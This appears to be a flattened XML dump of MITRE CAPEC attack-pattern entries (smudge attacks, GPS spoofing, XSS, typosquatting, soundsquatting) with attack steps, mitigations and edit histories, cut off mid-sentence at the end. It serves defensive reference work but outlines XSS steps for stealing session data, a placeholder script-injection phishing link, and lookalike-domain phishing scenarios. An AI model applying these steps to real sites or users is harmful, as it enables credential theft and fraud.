1256 + + + + + 1319 + + + + + 1332 + + + + + 1334 + + + + + 1338 + + + + + 1351 + + + + + + + + + + + + #indContentHistoryContentHistory36614 + Content_History_36614 + + + + + + + + + + + + + + + + #indSubmissionSubmission36615 + Submission_36615 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification36620 + Modification_36620 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #indModificationModification36626 + Modification_36626 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification36632 + Modification_36632 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-626 + Smudge Attack + + + + + + + + + 626 + + + + + Smudge Attack + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacks that reveal the password/passcode pattern on a touchscreen device by detecting oil smudges left behind by the user’s fingers.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern36643 + Related_Attack_Pattern_36643 + + + + + + + + + + + + + + 395 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must have physical access to the device.</xhtml:div> + + + + + + + + + + + + #indSkillSkill36649 + Skill_36649 + + + + + + + + + + + + + + The attacker must know how to make use of these smudges. + + + + + + + + + + + + #indConsequenceConsequence36652 + Consequence_36652 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Strong physical security of the device.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory36660 + Content_History_36660 + + + + + + + + + + + + + + + + #indSubmissionSubmission36661 + Submission_36661 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification36666 + Modification_36666 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attacker_Skills_or_Knowledge_Required + + + + + + + + + + + + #indModificationModification36672 + Modification_36672 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-627 + Counterfeit GPS Signals + + + + + + + + + 627 + + + + + Counterfeit GPS Signals + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary attempts to deceive a GPS receiver by broadcasting counterfeit GPS signals, structured to resemble a set of normal GPS signals. These spoofed signals may be structured in such a way as to cause the receiver to estimate its position to be somewhere other than where it actually is, or to be located where it is but at a different time, as determined by the adversary.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern36685 + Related_Attack_Pattern_36685 + + + + + + + + + + + + + + 148 + + + + + 513 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must be relying on valid GPS signal to perform critical operations.</xhtml:div> + + + + + + + + + + + + #indSkillSkill36693 + Skill_36693 + + + + + + + + + + + + + + The ability to spoof GPS signals is not trival. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to create spoofed GPS signals.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence36699 + Consequence_36699 + + + + + + + + + + + + + + + + + + + + + + + + + + #indContentHistoryContentHistory36704 + Content_History_36704 + + + + + + + + + + + + + + + + #indSubmissionSubmission36705 + Submission_36705 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification36710 + Modification_36710 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Related_Attack_Patterns, Resources_Required, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification36716 + Modification_36716 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-628 + Carry-Off GPS Attack + + + + + + + + + 628 + + + + + Carry-Off GPS Attack + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A common form of a GPS spoofing attack, commonly termed a carry-off attack begins with an adversary broadcasting signals synchronized with the genuine signals observed by the target receiver. The power of the counterfeit signals is then gradually increased and drawn away from the genuine signals. Over time, the adversary can carry the target away from their intended destination and toward a location chosen by the adversary.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern36729 + Related_Attack_Pattern_36729 + + + + + + + + + + + + + + 627 + + + + + 513 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must be relying on valid GPS signal to perform critical operations.</xhtml:div> + + + + + + + + + + + + #indSkillSkill36738 + Skill_36738 + + + + + + + + + + + + + + This attack requires advanced knoweldge in GPS technology. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A "proof-of-concept" attack was successfully performed in June, 2013, when the luxury yacht "White Rose" was misdirected with spoofed GPS signals from Monaco to the island of Rhodes by a group of aerospace engineering students from the Cockrell School of Engineering at the University of Texas in Austin. The students were aboard the yacht, allowing their spoofing equipment to gradually overpower the signal strengths of the actual GPS constellation satellites, altering the course of the yacht.</xhtml:div> + + + + + + + + + + + + #indReferenceReference36744 + Reference_36744 + + + + + + + + + REF-489 + + + + + GPS Spooking + + + + + + + + + + + + #indContentHistoryContentHistory36746 + Content_History_36746 + + + + + + + + + + + + + + + + #indSubmissionSubmission36747 + Submission_36747 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification36752 + Modification_36752 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Prerequisites, Description Summary, Related_Attack_Patterns, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification36758 + Modification_36758 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attacker_Skills_or_Knowledge_Required + + + + + + + + + + + + #indModificationModification36764 + Modification_36764 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-629 + DEPRECATED: Unauthorized Use of Device Resources + + + + + + + + + 629 + + + + + DEPRECATED: Unauthorized Use of Device Resources + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory36776 + Content_History_36776 + + + + + + + + + + + + + + + + #indSubmissionSubmission36777 + Submission_36777 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification36782 + Modification_36782 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attacker_Skills_or_Knowledge_Required, Description Summary + + + + + + + + + + + + #indModificationModification36788 + Modification_36788 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification36794 + Modification_36794 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification36800 + Modification_36800 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification36806 + Modification_36806 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated @Name, @Status, Description, Related_Attack_Patterns, Related_Weaknesses, Skills_Required + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName36812 + Previous_Entry_Name_36812 + + + + + + + + + 2022-09-29 + + + + + Unauthorized Use of Device Resources + + + + + + + + + + + + #CAPEC-63 + Cross-Site Scripting (XSS) + + + + + + + + + 63 + + + + + Cross-Site Scripting (XSS) + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern36820 + Related_Attack_Pattern_36820 + + + + + + + + + + + + + + 242 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern36821 + Related_Attack_Pattern_36821 + + + + + + + + + + + + + + 107 + + + + + + + + + + + + #indAttackStepAttackStep36824 + Attack_Step_36824 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser or an automated tool, an attacker follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep36832 + Attack_Step_36832 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe identified potential entry points for XSS vulnerability] The attacker uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of XSS probe strings to inject script in parameters of known URLs. If possible, the probe strings contain a unique identifier.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record results of manual input of XSS probes in known URLs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of XSS probe strings to inject script into UI entry fields. If possible, the probe strings contain a unique identifier.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of XSS probe strings to inject script into resources accessed by the application. If possible, the probe strings contain a unique identifier.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep36841 + Attack_Step_36841 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Steal session IDs, credentials, page content, etc.] As the attacker succeeds in exploiting the vulnerability, they can choose to steal user's credentials in order to reuse or to analyze them later on.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep36848 + Attack_Step_36848 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Forceful browsing] When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep36855 + Attack_Step_36855 + + + + + + + + + 5 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Content spoofing] By manipulating the content, the attacker targets the information that the user would like to get from the website.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Target client software must be a client that allows scripting communication from remote hosts, such as a JavaScript-enabled Web Browser.</xhtml:div> + + + + + + + + + + + + #indSkillSkill36866 + Skill_36866 + + + + + + + + + + + + + + To achieve a redirection and use of less trusted source, an attacker can simply place a script in bulletin board, blog, wiki, or other user-generated content site that are echoed back to other client machines. + + + + + + + + + + + + #indSkillSkill36867 + Skill_36867 + + + + + + + + + + + + + + Exploiting a client side vulnerability to inject malicious scripts into the browser's executable process. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to deploy a custom hostile service for access by targeted clients. Ability to communicate synchronously or asynchronously with client machine.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence36873 + Consequence_36873 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence36880 + Consequence_36880 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence36884 + Consequence_36884 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use browser technologies that do not allow client side scripting.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Utilize strict type, character, and encoding enforcement</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Server side developers should not proxy content via XHR or other means, if a http proxy for remote content is setup on the server side, the client's browser has no way of discerning where the data is originating from.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform input validation for all remote content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform output validation for all remote content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Session tokens for specific host</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Classic phishing attacks lure users to click on content that appears trustworthy, such as logos, and links that seem to go to their trusted financial institutions and online auction sites. But instead the attacker appends malicious scripts into the otherwise innocent appearing resources. The HTML source for a standard phishing attack looks like this:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;&amp;lt;a href="www.exampletrustedsite.com?Name=&amp;lt;script&amp;gt;maliciousscript&amp;lt;/script&amp;gt;"&amp;gt;Trusted Site&amp;lt;/a&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When the user clicks the link, the appended script also executes on the local user's machine.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 79 + + + + + 20 + + + + + + + + + + + + #indTaxonomyMappingCrossSiteScripting + Cross-Site Scripting + + + + + + + + + + + + + + 08 + + + + + Cross-Site Scripting + + + + + + + + + + + + #indTaxonomyMappingCrossSiteScripting + Cross Site Scripting (XSS) + + + + + + + + + + + + + + Cross Site Scripting (XSS) + + + + + + + + + + + + #indReferenceReference36920 + Reference_36920 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory36922 + Content_History_36922 + + + + + + + + + + + + + + + + #indSubmissionSubmission36923 + Submission_36923 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification36928 + Modification_36928 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Activation_Zone, Attack_Prerequisites, Description Summary, Examples-Instances, Payload, Payload_Activation_Impact, Related_Attack_Patterns, Related_Weaknesses, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification36934 + Modification_36934 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification36940 + Modification_36940 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification36946 + Modification_36946 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName36952 + Previous_Entry_Name_36952 + + + + + + + + + 2017-05-01 + + + + + Simple Script Injection + + + + + + + + + + + + #CAPEC-630 + TypoSquatting + + + + + + + + + 630 + + + + + TypoSquatting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary registers a domain name with at least one character different than a trusted domain. A TypoSquatting attack takes advantage of instances where a user mistypes a URL (e.g. www.goggle.com) or not does visually verify a URL before clicking on it (e.g. phishing attack). As a result, the user is directed to an adversary-controlled destination. TypoSquatting does not require an attack against the trusted domain or complicated reverse engineering.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern36960 + Related_Attack_Pattern_36960 + + + + + + + + + + + + + + 616 + + + + + 437 + + + + + 512 + + + + + 513 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern36966 + Related_Attack_Pattern_36966 + + + + + + + + + + + + + + 89 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern36967 + Related_Attack_Pattern_36967 + + + + + + + + + + + + + + 543 + + + + + + + + + + + + #indAttackStepAttackStep36970 + Attack_Step_36970 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine target website] The adversary first determines which website to impersonate, generally one that is trusted and receives a consistent amount of traffic.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Research popular or high traffic websites.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep36976 + Attack_Step_36976 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Impersonate trusted domain] In order to impersonate the trusted domain, the adversary needs to register the TypoSquatted URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Register the TypoSquatted domain.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep36982 + Attack_Step_36982 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Deceive user into visiting domain] Finally, the adversary needs to deceive a user into visiting the TypoSquatted domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Execute a phishing attack and send a user an e-mail convincing the user to click on a link leading the user to the TypoSquatted domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assume that a user will incorrectly type the legitimate URL, leading the user to the TypoSquatted domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary requires knowledge of popular or high traffic domains, that could be used to deceive potential targets.</xhtml:div> + + + + + + + + + + + + #indSkillSkill36994 + Skill_36994 + + + + + + + + + + + + + + Adversaries must be able to register DNS hostnames/URL’s. + + + + + + + + + + + + #indConsequenceConsequence36997 + Consequence_36997 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Depending on the intention of the adversary, a successful TypoSquatting attack can be leveraged to execute more complex attacks such as cross-site scripting or stealing account credentials.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Authenticate all servers and perform redundant checks when using DNS hostnames.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Purchase potential TypoSquatted domains and forward to legitimate domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary sends an email, impersonating paypal.com, to a user stating that they have just received a money transfer and to click the given link to obtain their money.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;However, the link the in email is paypa1.com instead of paypal.com, which the user clicks without fully reading the link.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The user is directed to the adversary's website, which appears as if it is the legitimate paypal.com login page.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The user thinks they are logging into their account, but have actually just given their paypal credentials to the adversary. The adversary can now use the user's legitimate paypal credentials to log into the user's account and steal any money which may be in the account.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;TypoSquatting vulnerability allows an adversary to impersonate a trusted domain and trick a user into visiting the malicious website to steal user credentials.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indReferenceReference37017 + Reference_37017 + + + + + + + + + REF-491 + + + + + + + + + + + + #indContentHistoryContentHistory37019 + Content_History_37019 + + + + + + + + + + + + + + + + #indSubmissionSubmission37020 + Submission_37020 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification37025 + Modification_37025 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification37031 + Modification_37031 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification37037 + Modification_37037 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification37043 + Modification_37043 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-631 + SoundSquatting + + + + + + + + + 631 + + + + + SoundSquatting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary registers a domain name that sounds the same as a trusted domain, but has a different spelling. A SoundSquatting attack takes advantage of a user's confusion of the two words to direct Internet traffic to adversary-controlled destinations. SoundSquatting does not require an attack against the trusted domain or complicated reverse engineering.</xhtml:div> + + + + + + + + + + + + #indAlternateTermHomophoneAttack + Homophone Attack + + + + + + + + + Homophone Attack + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern37061 + Related_Attack_Pattern_37061 + + + + + + + + + + + + + + 616 + + + + + 437 + + + + + 512 + + + + + 513 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern37067 + Related_Attack_Pattern_37067 + + + + + + + + + + + + + + 89 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern37068 + Related_Attack_Pattern_37068 + + + + + + + + + + + + + + 543 + + + + + + + + + + + + #indAttackStepAttackStep37071 + Attack_Step_37071 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine target website] The adversary first determines which website to impersonate, generally one that is trusted, receives a consistent amount of traffic, and is a homophone.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Research popular or high traffic websites which are also homophones.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep37077 + Attack_Step_37077 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Impersonate trusted domain] In order to impersonate the trusted domain, the adversary needs to register the SoundSquatted URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Register the SoundSquatted domain.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep37083 + Attack_Step_37083 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Deceive user into visiting domain] Finally, the adversary needs to deceive a user into visiting the SoundSquatted domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Execute a phishing attack and send a user an e-mail convincing the user to click on a link leading the user to the SoundSquatted domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assume that a user will unintentionally use the homophone in the URL, leading the user to the SoundSquatted domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary requires knowledge of popular or high traffic domains, that could be used to deceive potential targets.</xhtml:div> + + + + + + + + + + + + #indSkillSkill37095 + Skill_37095 + + + + + + + + + + + + + + Adversaries must be able to register DNS hostnames/URL’s. + + + + + + + + + + + + #indConsequenceConsequence37098 + Consequence_37098 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Depending on the intention of the adversary, a successful SoundSquatting attack can be leveraged to execute more complex attacks such as cross-site scripting or stealing account credentials.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Authenticate all servers and perform redundant checks when using DNS hostnames.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Purchase potential SoundSquatted domains and forward to legitimate domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary sends an email, impersonating the popular banking website guaranteebanking.com, to a user stating that they have just received a new deposit and to click the given link to confirm the deposit.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;However, the link the in email is guarantybanking.com instead of guaranteebanking.com, which the user clicks without fully reading the link.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The user is directed to the adversary's website, which appears as if it 